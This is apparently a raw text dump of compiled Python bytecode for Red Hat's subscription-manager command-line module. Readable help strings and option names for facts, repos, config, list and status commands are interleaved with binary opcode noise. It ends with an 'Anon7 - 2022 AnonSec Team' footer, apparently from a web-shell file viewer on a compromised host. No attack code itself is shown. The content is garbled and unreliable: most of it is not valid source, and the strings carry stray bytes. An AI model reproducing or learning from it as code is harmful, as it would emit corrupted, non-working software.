Ns.View or update the detected system informationR�s--listR�R�R�s list known facts for this systems--updatesupdate the system facts(RdRR4R}RhR�R�(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�s
cC`sD|jjr|j�n|jjp.|jjs@t|j_ndS(N(R�R�R�RbRf(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s
cC`s:|j�tjtj�}|jjr�|j�}t|j��}xV|D]K}||}t	|�j
�dkr�td�}ntd||f�qMWn|jj
r6tjtj�}y |j|j|jdt�Wn6tjk
r}tj|�ttj|j�nXtjd�ttd��ndS(NR#RPs%s: %sRZs%Succesfully updated the system facts.s&Successfully updated the system facts.(RR�R�R�R�Rbt	get_factstsortedtkeysRRRdRcR�R�R�R�RqRfRSRrRURWR RYRZR[Re(R�R�t
facts_dictt
facts_keysR�R?RRr((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s&


 

(R�R�R}RR�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR4s				tImportCertCommandcB`s,eZd�Zd�Zd�Zd�ZRS(c	C`sTtd�}tt|�jd|t�|jjddddddtd	��dS(
Ns;Import certificates which were provided outside of the tooltimports
--certificateR�R	R�tcertificate_fileR�s<certificate file to import (can be specified more than once)(RdRR:R}RhR�R�(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�scC`sN|j�r%ttjtd��n|jjsJttjtd��ndS(NsmError: You may not import certificates into a system that is registered to a subscription management service.sOError: This command requires that you specify a certificate with --certificate.(R�R RYR�RdR�R<(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�scC`s�|j�g}x/|jjD]!}tjj|�}tjj|�r
y�tj|�}|j	�r�|j
�ttd�tjj
|��|j|j��n1tjd|�ttd�tjj
|��Wq>tk
r	}tj|�ttd��q>Xqtjd|�ttd�tjj
|��qW|ratj�}|j�n|j�d}|s�d}n|S(	Ns$Successfully imported certificate %ss;Error parsing manually imported entitlement certificate: %ssC%s is not a valid certificate file. Please use a valid certificate.s^An error occurred while importing the certificate. Please check log file for more information.s,Supplied certificate file does not exist: %ss%s: file not found.ii(RR�R<RYR�R�texistsR$tImportFileExtractortverify_valid_entitlementt
write_to_diskRcRdtbasenameR	tget_certRURVRsRWR!tRHELBrandsInstallertinstallR�(R�timported_certst
src_cert_filet	extractorR�tbrands_installerR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s<

	


	cC`stS(N(Rh(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s(R�R�R}RR�R(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR:�s			.tPluginsCommandcB`s5eZd�Zd�Zd�Zd�Zd�ZRS(c	C`s�td�}tt|�jd|t�|jjddddtd�t�|jjddddtd	�t�|jjd
dddtd�t�|jjdddd
tdtd��dS(Ns6View and configure with 'subscription-manager plugins'tpluginss--listR�R�R�slist %s pluginss--listslotsslist %s plugin slotss--listhooksslist %s plugin hookss	--verboseR�sshow verbose plugin info(RdRRIR}RhR�R�tSM(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�scC`s7|jjp!|jjp!|jjs3t|j_ndS(N(R�Rbt	listslotst	listhooksRf(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�scC`stS(N(Rh(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR	scC`s�x�t|jj�j��D]f}td�}|jj�rLtd�}ntd|j�|f�|j	j
rt|j�qqWdS(Ntdisabledtenableds%s: %s(RbR�tget_pluginsR2RdR�tis_plugin_enabledRctget_plugin_keyR�tverbose(R�tplugin_classRO((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt
_list_plugins	s"cC`s�|j�|jjr#|j�n|jjrVx$|jj�D]}t|�q?Wn|jjr�xt|jj�D]`}t|�xMt	|jj
|�D]5}tj|�j
j�}td||jf�q�WqrWndS(Ns	%s.%s(RR�RbRURLR�t	get_slotsRcRMR6t_slot_to_funcsREtget_method_selfR�RRR�(R�tslotthookthook_key((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�	s


(R�R�R}RRRUR�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRI�s
					tReposCommandcB`s,eZd�Zd�Zd�Zd�ZRS(cC`sNtd�}tt|�jd|t�d�}d�}|jjdddd|dd	d
tdtd��|jjd
ddd|ddd
tdtd��|jjdddd|ddd
tdtd��|jjdddddddd|dddtd��|jjdddddddd|dddtd��dS(Ns:List the repositories which this system is entitled to usetreposcS`sGd}|dkrd}nt|j�jdg�j||f�dS(s
            Store our repos to enable and disable in a combined, ordered list of
            tuples. (enabled, repoid)

            This allows us to have our expected behaviour when we do things like
            --disable="*" --enable="1" --enable="2".
            t0s--enableR�trepo_actionsN(tvarsR2t
setdefaultR	(R+topttrepoidR�Rn((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt
repo_callback'	s
	cS`sFt|j_|dkr't|j_n|dkrBt|j_ndS(s�
            Handles setting both enabled/disabled filter options when the --list argument is
            provided.

            Allows for --list to perform identically to --list-enabled --list-disabled
            s--lists--list-enableds--list-disabledN(s--lists--list-enabled(s--lists--list-disabled(RfR2Rbtlist_enabledt
list_disabled(R+RbRcR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt
list_callback5	s
s--listR�tcallbackR�RbR�R�s+list all known repositories for this systems--list-enabledRes0list known, enabled repositories for this systems--list-disabledRfs1list known, disabled repositories for this systems--enableR�R�RRQtREPOIDsZrepository to enable (can be specified more than once). Wildcards (* and ?) are supported.s	--disableR�s[repository to disable (can be specified more than once). Wildcards (* and ?) are supported.(RdRR\R}RhR�R�(R�R{RdRg((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}#	s&		



cC`sI|jjpt|jd�sEt|j_t|j_t|j_ndS(NR_(R�RbR�RfReRf(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRT	sc
`s��j�d}t�s-ttd��|S�jj�retdtg�}|j��j	�n�j
�r��jjd��_
n	t�_
t�}|j�}t�jd�r��j||�jj�}n�jj�r�t�}|j�n�jjr�t|�r��fd�}tt||��}t|�r�td�ttd�|j��td�xS|D]8}tttt|j|d	|d
|d�d�qyWq�ttd
��q�ttd��n|S(Nis'Repositories disabled by configuration.R�tcontent_overridesR_c`sVddg}|dj�}�jjo1||k}�jjoI||k}|pU|S(NtfalseR^RO(R�R�ReRf(trepotdisabled_valuestrepo_enabledtshow_enabledt
show_disabled(R�(sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytfilter_reposz	s
s<+----------------------------------------------------------+s     Available Repositories in %sRzR�ROs
sEThere were no available repositories matching the specified criteria.s@This system has no repositories available through subscriptions.(RR+RcRdRR�RRBR�R�R�R�Ret
use_overridesRhR(t	get_reposR�R�t_set_repo_statusR_RRbR�R�t
get_repo_fileR<t
REPOS_LISTR?R�(R�trcRtrlR]RRqRl((R�sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�Z	sH
	

			



cC`s�d}i}t|�s,ttd��dSx�|D]�\}}tg|D]!}tj|j|�rI|^qI�}	|	s�d}ttd�|�tjd|�nx|	D]}|||<q�Wq3W|r_tj	tj
�}
|j�r�|jr�g|D](}i|jd6dd6||d	6^q�}g|D](}i|jd6d
d6||d	6^q/}|j
|�|jj|jj|�}
tj	tj
�}
|
|
_|
j�|j�q_t�}|j�g|	D]}|d|kr�|^q�}x"|D]}||d<||d
<q�W|r_t�}|j�x|D]}|j|�q8W|j�q_nxO|D]G}||dkr�ttd�|j�qfttd
�|j�qfW|S(s�
        Given a list of repo actions (tuple of enable/disable and
        repo ID), build the master list (without duplicates) to send to the
        server.
        is@This system has no repositories available through subscriptions.istError: '%s' does not match a valid repository ID. Use "subscription-manager repos --list" to see valid repositories.s*'%s' does not match a valid repository ID.tcontentLabelRORzR?tenabled_metadataR�s+Repository '%s' is enabled for this system.s,Repository '%s' is disabled for this system.(R�RcRdRtfnmatchR�RUtwarningR�R�tOVERRIDE_STATUS_CACHER�RrR&R�tsetContentOverridesRRqt
server_statusR�R�R(R)treadtwrite(R�R]R�R_Rwtrepos_to_modifyRnRcRltmatchestcachet	overridestmetadata_overridestresultsRxt
changed_repost	repo_file((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRt�	sT4
55
	

	
)

	


(R�R�R}RR�Rt(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR\!	s	1		<t
ConfigCommandcB`s,eZd�Zd�Zd�Zd�ZRS(cC`s+td�}tt|�jd|t�|jjddddtd��|jjdd	d
dddtd��x�ttj	��D]�}t|}x�t|j
��D]w\}}|tjj
kr�|tjj
|kr�|jjd
|d|d	|d|dtd�||f�q�q�Wq�WdS(NsGList, set, or remove the configuration parameters in use by this systemREs--listR�R�R�s&list the configuration for this systems--removeR�R
R	s*remove configuration entry by section.names--t.sSection: %s, Name: %s(RdRR�R}RhR�R�RbR�R7titemsR�REtDEFAULTS(R�R{R�tsectionRzt_value((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�	s


()cC`s�|jjr�t}|jjr't}n�x�ttj��D]t}t|}xat|j��D]M\}}t|j|d|�r]t	|j|d|�r�t}Pq�q]q]Wq:W|r�t
tjt
d��q�n|jjp�|jjs�t}x�ttj��D]�}t|}xst|j��D]_\}}t|j|d|�rodt	|j|d|�}nd}|p�|dk}q(WqW|s�t|j_q�n|jjr�x�|jjD]�}d|kr�t
tjt
d��n|jd�d}|jd�d}t}	|ttj��krnx<tt|j��D]!\}
}||
krFt}	qFqFWn|	s�t
tjt
d�||f�q�q�WndS(	NR�s_Error: --list should not be used with any other options for setting or removing configurations.s%sR�sSError: configuration entry designation for removal must be of format [section.name]iis-Error: Section %s and name %s does not exist.(R�RbRhR
RfR�R7R�R�RR RYR�RdR�R�R�(R�ttoo_manyR�R�RzR�thasttesttrtfoundR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�	sL	

!#c	C`s�|j�|jjr�x�ttj��D]�}t|}td|�t|j��}x^|D]V\}}d}d}||j|�kr�d}d}ntd||||f�q`Wt�q)Wtt	d��td�n�|jj
r�x�|jj
D]�}|jd�d	}|jd�d
}y�t|j|�shdt||<tt	d�||f�nIt|j|�t||<tt	d�||f�tt	d�|�Wq�t
k
r�tt	d
�||f�q�Xq�Wtj�n�x�ttj��D]�}t|}xtt|j��D]`\}}t|j|d|�r'dt|j|d|�}|dks�|||<q�q'q'WqWtj�dS(Ns[%s]R#t[t]s   %s = %s%s%ss[] - Default value in uses
R�iis6You have removed the value for section %s and name %s.s*The default value for %s will now be used.s)Section %s and name %s cannot be removed.s%sR�(RR�RbR�R7RcR6R�tget_defaultRdR
R�thas_defaultRsR�R�R(	R�R�R�tsource_listRzR?t
indicator1t
indicator2R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�#
sL

	

"

cC`stS(N(Rh(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRN
s(R�R�R}RR�R(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��	s		0	+tListCommandcB`sGeZd�Zd�Zd�Zd�Zd�Zdded�Z	RS(c	C`s�td�}tt|�jd|t�d|_d|_|jj	ddddtd��|jj	ddddtd	��|jj	d
dddtd��|jj	dd
ddtd�t
dt���|jj	ddddtd��|jj	dd
ddtd��|jj	ddddtd��|jj	ddddtd��|jj	dd
ddtd��|jj	dd
ddddtd��|jj	d d
d!dtd"�t
dt���dS(#Ns9List subscription and product information for this systemRbs--installedR�R�R�s7list shows those products which are installed (default)s--availables,show those subscriptions which are availables--alls>used with --available to ensure all subscriptions are returneds--ondateR�RsUdate to search on, defaults to today's date, only used with --available (example: %s)s%Y-%m-%ds
--consumeds4show the subscriptions being consumed by this systems--servicelevelR�shshows only subscriptions matching the specified service level; only used with --available and --consumeds--no-overlaps[shows pools which provide products that are not already covered; only used with --availables--match-installedscshows only subscriptions matching products that are currently installed; only used with --availables	--matchest
filter_strings�lists only subscriptions or products containing the specified expression in the subscription or product information, varying with the list requested and the server version (case-insensitive).s--pool-onlytpid_onlysulists only the pool IDs for applicable available or consumed subscriptions; only used with --available and --consumeds--afterdatet
after_dates_show pools that are active on or after the given date; only used with --available (example: %s)(RdRR�R}RfR�t	availabletconsumedR�R�RR(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}T
s4		"

	





cC`s�|jjr2|jjr2ttjtd��n|jjrd|jjrdttjtd��n|jjdk	r�|jj
p�|jjr�ttjtd��n|jjp�|jj
s�t|j_n|jjr|jj
rttjtd��n|jjr3|jjr3ttjtd��n|jjrd|jjrdttjtd��n|jjr�|jjr�ttjtd��n|jjr�|jjr�ttjtd��ndS(	Ns0Error: --all is only applicable with --availables3Error: --ondate is only applicable with --availablesGError: --servicelevel is only applicable with --available or --consumeds<Error: --match-installed is only applicable with --availables7Error: --no-overlap is only applicable with --availablesHError: --pool-only is only applicable with --available and/or --consumeds6Error: --afterdate is only applicable with --availables/Error: --afterdate cannot be used with --ondate(R�R(R�R RYR�RdRR�R�R�Rft	installedtmatch_installedt
no_overlapR�R�(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRp
s$+cC`ssy!tjt|d�dd!�SWnKtk
rntd�}tdt��}ttj|j	d|��nXdS(s�
        Turns a given date into a date object
        :param date: Date string
        :type date: str
        :return: date
        s%Y-%m-%diisUDate entered is invalid. Date should be in YYYY-MM-DD format (example: {dateexample})tdateexampleN(
tdatetimeRRsRdRRR RYR�R�(R�tdateR[R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_parse_date�
s!
		cC`s6|dkrdSg|jd�D]}|j�^q S(so
        REST API returns multi-value fields in string, where values are separated with comma, but
        each value of multi-value field should be printed on new line. It is done automatically, when
        values are in list
        :param values: String containing multi-value string, where values are separated with comma
        :return: list of values
        R#t,N(R�R�R(R�R2R,((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_split_mulit_value_field�
sc
C`s�|j�|jjr|jjrtj|j�j|jj�}t	|�r�t
d�t
td��t
d�x�|D]_}t|d}t
t
tt|d|d|d|d||d|d	|d
�
d�q{Wq|jjr
t
td�|jj�qt
td
��n|jjrS|j�d3}d3}|jjrc|j|jj�}n$|jjr�|j|jj�}ntj�jd|jjd|d|jjd|jjd|jjd|jjd|�}t	|�r�|jjrx�|D]}t
|d�qWqPt
d�t
dtd��t
d�x
|D]M}t|�j�rqtd�}ntd�}d|kr�|dr�td�|d<ntd�|d<i|jjd6td6t j!j"�d6}	t
t
t#t$|d |d!|d"|d#pd$|d|d|d%|d&|d'p7d$|j%|d(�|dpTd$|d)pad$|j%|d*�|d+|d,|d-||	�d�qJWqS|jjsS|jjr�|jjr�t
td.�|jj|jjf�qP|jjrt
td/�|jj�qP|jjr=t
td0�|jj�qPt
td1��qSn|jj&r�|j'd|jjd|jjd2|jj�nd3S(4s'
        Executes the command.
        s-+-------------------------------------------+s    Installed Product Statusiiiiiiiis
s>No installed products were found matching the expression "%s".sNo installed products to listtshow_allRR�R�R�R�R�R�s    sAvailable SubscriptionstVirtualtPhysicaltmanagement_enabledtYestNoR�t
match_columnstis_attyRtprovidedProductst	productIdtcontractNumberR#R�t	suggestedtservice_typetrolesR�R&t	pool_typet	startDatetendDatescNo available subscription pools were found matching the expression "%s" and the service level "%s".sHNo available subscription pools were found matching the expression "%s".sKNo available subscription pools were found matching the service level "%s".s'No available subscription pools to listR�N((RR�R�R�RGRaR�RbR�R�RcRdRgR<tINSTALLED_PRODUCT_STATUSR>R�R�R�RR�R�RIR"tget_available_poolsR(R�R�R�R#tis_virt_onlytAVAILABLE_SUBS_MATCH_COLUMNSR�tstdouttisattytAVAILABLE_SUBS_LISTR@R�R�tprint_consumed(
R�RjRmRnRR�tepoolstdatatentitlement_typetkwargs((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��
s�
!


*
	







			c	C`s�tj�}|jd|d|�}t|�r!|rWx�|D]}t|j�q=Wq�td�tdtd��td�x|D]�}i|d6td6tj	j
�d6}t|d	�r�t|d
�r�t|d�r�ttt
t||�d�q�tttt||�d�q�Wn||s�|rP|rPttd
�||f�q�|rmttd�|�q�|r�ttd�|�q�ttd��ndS(NR�R�s-+-------------------------------------------+s   sConsumed SubscriptionsR�R�R�R�R�R&s
sbNo consumed subscription pools were found matching the expression "%s" and the service level "%s".sGNo consumed subscription pools were found matching the expression "%s".sJNo consumed subscription pools were found matching the service level "%s".s*No consumed subscription pools were found.(RIR"tget_consumed_product_poolsR�Rctpool_idRdR�R�R�R�R�R<t
CONSUMED_LISTR@tOLD_CONSUMED_LIST(R�R�R�R�R�tcertsR�R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�sD		




-			N(
R�R�R}RR�R�R�R�RhR�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�R
s					ktOverrideCommandcB`s5eZd�Zd�Zd�Zd�Zd�ZRS(cC`s	td�}tt|�jd|t�|jjddddddd	d
td��|jjddd
ddddd
td��|jjdddddd|jddddd
td��|jjdddd
td��|jjdddd
td��dS(Ns)Manage custom content repository settingss
repo-overrides--repoR�R]R�R	RQRiR�s6repository to modify (can be specified more than once)s--removetremovalstNAMEsZname of the override to remove (can be specified more than once); used with --repo option.s--addt	additionsRhR�tstrings
NAME:VALUEsyname and value of the option to override separated by a colon (can be specified more than once); used with --repo option.s--remove-allR�sIremove all overrides; can be specific to a repository by providing --repos--listsGlist all overrides; can be specific to a repository by providing --repo(RdRR�R}RhR�R�t_colon_split(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}?s!
!
$

cC`s�|jjdkr!i|j_n|j�dkrHttd���n|jd�\}}}|sn|r�ttd���n||jj|<dS(NR#sDYou must specify an override in the form of "name:value" with --add.R�s5--add arguments should be in the form of "name:value"(R2R�R�RRRdt	partition(R�R+topt_strR?R�tkt_colontv((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�Nsc
C`s�|jjs|jjrq|jjs=ttjtd��n|jjsU|jj	rqttjtd��qqn|jj	r�|jjr�ttjtd��n|jjr�|jj	p�|jjp�|jjp�|jjr�ttjtd��n|jjrQg|jjD]}|j
�^q}d|krQttjtd��qQn|jjp�|jjp�|jjp�|jjp�|jj	s�t|j_	ndS(Ns.Error: You must specify a repository to modifysEError: You may not use --add or --remove with --remove-all and --lists/Error: You may not use --list with --remove-allsGError: The --repo option must be used with --list or --add or --remove.R#s7Error: You must specify an override name with --remove.(R�R�R�R]R RYR�Rdt
remove_allRbRRf(R�tremovaltstripped_removals((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRZs"$%$cC`s�|j�|j�|jjd�s?ttjtd��n|jj	�|j
�t�}t�s{t
td��n|jjr�|j|jj�}|r�|j||jj�nt
td��dS|jjr�g|jjdt�D]}|j^q�}g|jjD]=}t|jjj��D]\}}t|||�^q/q}y|j|jj|�}Wn;tjk
r�}|jdkr�td|�q�|�nXx:|jjD])}||kr�t
td�|�q�q�Wn|jj rOg|jjD](}|jj D]}	t||	�^qq}
|j!|jj|
�}n|jj"r||j#|jj|jj�}n|j	|�dS(	NRjsBError: The 'repo-override' command is not supported by the server.s'Repositories disabled by configuration.s>This system does not have any content overrides applied to it.tapply_overridesi�isJRepository '%s' does not currently exist, but the override has been added.($RR�R�ReR RYR�RdR�R�R�R9R+RcR�Rbt
get_overridesRRqt_listR]R�trepo_libRsRhR�R�R:t
add_overridesRSRrR�R�tremove_overridesR�tremove_all_overrides(R�R�R�Rltrepo_idsRzR?RR\R,R((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�nsB



		+P
;!cC`sPi}x?|D]7}|j}|j}|j}||j|i�|<q
Wt|j��}|r�t|�}x+|j|�D]}	ttd�|	�q|W||M}nx�t	|�D]�}ttd�|�t	t
||j��dd��}
t
t|
��\}}g|D]}
d|
^q}tt
|tdd|�d�q�WdS(	NsNothing is known about '%s'sRepository: %sR�cS`s|dS(Ni((R((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�ss%s:tindentis
(trepo_idRzR?RaRR7t
differenceRcRdR6RbR�tzipR<R?(R�t
all_overridestspecific_reposR�toverrideRlRzR?tto_showR�t	repo_datatnamesR2R((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s$
			
%(R�R�R}R�RR�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�>s
				6tRoleCommandcB`seZd�Zd�ZRS(c
C`sAtd�}tt|�jd|dtdddddg�dS(NsModify system purpose roletroleR|RR
RR(RdRR�R}Rh(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�s$cC`sB|jd�|jjr>|jjr>ttjtd��ndS(NR�sKError: Options --set and --unset of role subcommand are mutually exclusive.(R8R�RRR RYR�Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s
(R�R�R}R(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s	tVersionCommandcB`seZd�Zd�ZRS(cC`s,td�}tt|�jd|t�dS(NsPrint version informationtversion(RdRR�R}Rh(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�scC`st|j�ttd�|jd�ttd�|jd�ttd�|jd�td|jd�dS(	Nsserver type: %ssserver-types"subscription management server: %sR�s!subscription management rules: %ss
rules-versionssubscription-manager: %sssubscription-manager(R�RcRdR�R�(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s

(R�R�R}R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s	t
StatusCommandcB`s>eZd�Zd�Zd�Zd�Zd�Zd�ZRS(c	C`s^td�}tt|�jd|t�|jjddddtd�tdt���dS(	NsDShow status information for this system's subscriptions and productsRns--ondateR�RR�sFfuture date to check status on, defaults to today's date (example: %s)s%Y-%m-%d(	RdRR�R}RfR�R�RR(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�s		cC`s[d}|jjrWytjj|jj�}WqWtk
rS}ttj	|�qWXn|S(s�
        Try to get and validate command line options date
        :return: Return date or None, when date was not provided
        N(
R�R�RRIR"t
parse_datet
ValueErrorR RYR�(R�RRv((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_get_date_cli_option�sc
C`sXtd�tdtd��td�d}td�}|jj�}g|D]}|jtkrP|^qP}t}tjd|j	d|j
�}|r�t}nA|dd	kr�|j�ntd
|j	d|j
�r�t}n|tkr.|d}	|	d	kr%tjd|	�|j�q.|}nttd
�jd|dd|��dS(sI
        Print only status
        :return: Print overall status
        s-+-------------------------------------------+s   sSystem Status DetailsR#syContent Access Mode is set to Simple Content Access. This host has access to content, regardless of subscription status.
R�RYt	status_idRNR`RsUFound SCA cert, but status ID is not 'disabled' (%s). Refreshing entitlement certs...s"Overall Status: {status}
{message}RntmessageN(RcRdR�tlist_with_content_accessR�R	RhRKR[R�R�RfR7RRUReR�(
R�tservice_statust
ca_messagethas_certR�R�t	sca_certstsca_mode_detectedtrefresh_serviceR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt
_print_status�s4

	(	
	

	c	C`s�|d}t�}xi|D]a}tt|dd|��x4||D](}tdjdt|d|���qEWtd�qWdS(	sg
        Print reasons for overall status
        :param service_status:
        :return: None
        treasonsR�is- {name}RziR#N(R4RcR=R�(R�R�R�tcolumnsRzR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_print_reasons$s
	
&cC`sy#tj�}|r"|j�nWn&ttfk
rK}tj|�nXtjtj	�}|j
|j|jj
|�ttd�jd|j���|j�}|dkr�|j�}|dk	r�x'|D]}tdjd|��q�Wq�ntd�dS(s?
        Print syspurpose status
        :return: None
        sSystem Purpose Status: {status}Rntmatcheds
- {reason}treasonR#N(RMtget_sys_purpose_storeR/tOSErrorR
RURWR�R�t%SYSTEMPURPOSE_COMPLIANCE_STATUS_CACHERR�RRqRcRdR�tget_overall_statustget_overall_status_codetget_status_reasonsR�(R�RRtnetsyspurpose_cachetsyspurpose_status_codeR�R((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_print_syspurpose_status3s "
 cC`sn|j�}tjd|j�j|�}|j|�|j|�|j|�|drdd}nd}|S(s>
        Print status and all reasons it is not valid
        R�tvalidii(R�RIR"R�t
get_statusR�RR
(R�RR�R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�Ks



	(R�R�R}R�R�RR
R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s			
	3		t
ManagerCLIcB`seZd�Zd�ZRS(cC`sntttttttttt	t
ttt
tttttttttttttg}tj|d|�dS(Ntcommand_classes(R�R�R�R�R�RR2R4R]RsRXRUR�R\R�R�RyR:R�R�RR�RIR�R�R�R�RR}(R�R
((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}es		cC`s�tj�tj|�}tj�}t|�dkrctdtd�dtj	|�d�nyt
jj�t
j
j�Wn$tk
r�}tjd|�nX|S(Nis
tWARNINGs

sKError: Unable to print data to stdout/stderr output during exit process: %s(R$tcheck_identity_cert_permsRRR*tenable_pkg_pluginsR�RcRdtwarning_messageR�R�tflushtstderrtIOErrorRURV(R�trettenabled_yum_pluginstio_err((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRos
,
(R�R�R}R(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRcs	
t__main__(�t
__future__RRRR�R�R{RJR�toptparseRRRYRrRHR�t	six.movesRER�ttimeRRRtrhsm.certificateRtrhsm.certificate2R	t
rhsm.httpsR
trhsm.configR�trhsm.connectionRSRRR
Rt
rhsm.utilsRRtsubscription_managerRtsubscription_manager.brandingRtsubscription_manager.entcertlibRRt"subscription_manager.action_clientRRRt subscription_manager.cert_sorterRRRRRRtsubscription_manager.cliRRR R!trhsmlib.facts.hwprobeR"tsubscription_manager.injectiont	injectionR�t subscription_manager.jsonwrapperR#R$tsubscription_manager.managerlibR%tsubscription_manager.releaseR&R'tsubscription_manager.repolibR(R)R*R+tsubscription_manager.utilsR,R-R.R/R0R1R2R3R4R5R6R7R8tsubscription_manager.overridesR9R:tsubscription_manager.exceptionsR;t#subscription_manager.printing_utilsR<R=R>R?R@t"subscription_manager.syspurposelibRAt&subscription_manager.packageprofilelibRBtsubscription_manager.i18nRCRDRdR�R�RUtrhsmlib.servicesRERFRGRHRIRJRKRLRMtConfigt
initConfigR�RKR�R�RgR�R�R�RvRiR~RwR�R�R>R=R_RoR�RwRxRR@RNRURXR]RsRyR�R�R�R�R�R�R�R�R�RRR2R4R:RIR\R�R�R�R�R�R�RR(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt<module>s\"."X(4




																																																																						#�?�/N$*(��L+5[��-@5�q���

Anon7 - 2022
AnonSec Team